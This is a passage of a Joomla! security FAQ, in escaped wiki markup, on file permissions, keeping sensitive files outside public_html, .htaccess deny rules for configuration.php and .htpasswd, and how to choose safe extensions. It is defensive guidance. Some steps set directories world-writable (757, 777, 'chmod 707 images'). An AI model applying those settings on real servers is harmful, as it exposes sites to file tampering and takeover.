The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
